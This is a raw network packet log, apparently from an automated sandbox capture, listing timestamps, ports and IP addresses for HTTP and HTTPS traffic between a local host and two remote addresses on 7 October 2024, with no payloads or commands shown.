Oct 7, 2024 18:00:53.172985077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.172998905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.173012972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.173023939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.173034906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.173052073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.173063040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.173063993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.173088074 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.173114061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202069044 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202079058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202088118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202142000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202191114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202348948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202358961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202372074 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202389002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202390909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202404022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202413082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202416897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202429056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202436924 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202438116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202457905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202467918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202469110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202477932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202490091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202491999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202503920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202513933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202514887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202531099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202539921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202555895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202577114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202583075 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202603102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202613115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202621937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202631950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202634096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202649117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202657938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202660084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202671051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202672005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202694893 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202718973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202724934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202735901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202759981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202773094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202784061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202792883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202802896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202802896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202812910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.202832937 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.202856064 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203017950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203027964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203037024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203046083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203056097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203058958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203067064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203077078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203085899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203104973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203109980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203111887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203120947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203128099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203133106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203142881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203152895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203164101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203166008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203176022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203185081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203190088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203196049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203206062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203212976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203231096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203248024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203542948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203555107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203567982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203581095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203582048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203593016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203602076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203603983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203615904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203627110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203633070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203638077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203648090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203650951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203660965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.203680992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.203708887 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.218230009 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.220252991 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.220274925 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.220702887 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.220709085 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.243160009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243179083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243194103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243207932 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243223906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243233919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.243237972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243252993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243268013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.243274927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.243299007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.243316889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.255875111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.255932093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.255948067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256015062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256021976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256036997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256042004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256052971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256067991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256081104 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256082058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256095886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256108999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256112099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256127119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256128073 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256154060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256156921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256170988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256177902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256186962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256206989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256232023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256542921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256557941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256572008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256586075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256603003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256611109 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256627083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256633997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256642103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256653070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256656885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256675005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256684065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256688118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.256716013 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.256735086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257195950 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257395983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257416010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257430077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257455111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257479906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257484913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257500887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257515907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257522106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257530928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257543087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257546902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257556915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257563114 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257576942 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257577896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257587910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257608891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257621050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257637978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257653952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257677078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257690907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257694006 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257709026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257715940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257723093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257739067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257742882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257754087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257769108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257770061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257786036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.257810116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.257822990 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287012100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287029028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287127972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287255049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287270069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287285089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287301064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287316084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287322044 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287329912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287343979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287359953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287796974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287817001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287832022 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287847042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287848949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287862062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287875891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287879944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287889957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287906885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287913084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287925959 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287930012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287944078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.287945986 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287971973 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.287986040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288012981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288028002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288042068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288053036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288055897 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288065910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288069963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288085938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288100958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288153887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288167000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288181067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288201094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288217068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288877010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288901091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288913012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288952112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288966894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288974047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.288980007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.288990974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289000988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289011002 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289019108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289025068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289036036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289047003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289052010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289052010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289062977 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289064884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289072037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289083958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289093971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289094925 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289104939 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289115906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289124012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289129972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289135933 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289144993 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289148092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289160013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289165020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289175987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289402962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289414883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289426088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289431095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289438009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289438009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289449930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289470911 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289496899 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289545059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289556980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289566994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289577961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289588928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289593935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289603949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289634943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289727926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289741039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289750099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289762974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289772034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289777040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289777994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289789915 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289792061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289803982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289813995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.289822102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.289855957 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.319264889 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.319467068 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.319538116 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.319760084 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.319776058 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.319786072 CEST	49916	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.319791079 CEST	443	49916	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.322264910 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.322304964 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.322367907 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.322500944 CEST	49921	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:53.322513103 CEST	443	49921	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:53.327527046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327550888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327560902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327603102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.327627897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.327821970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327832937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327842951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327852011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327861071 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.327877045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.327904940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:53.340409994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340470076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340480089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340490103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:53.340500116 CEST	80	49831	95.164.90.97	192.168.2.5
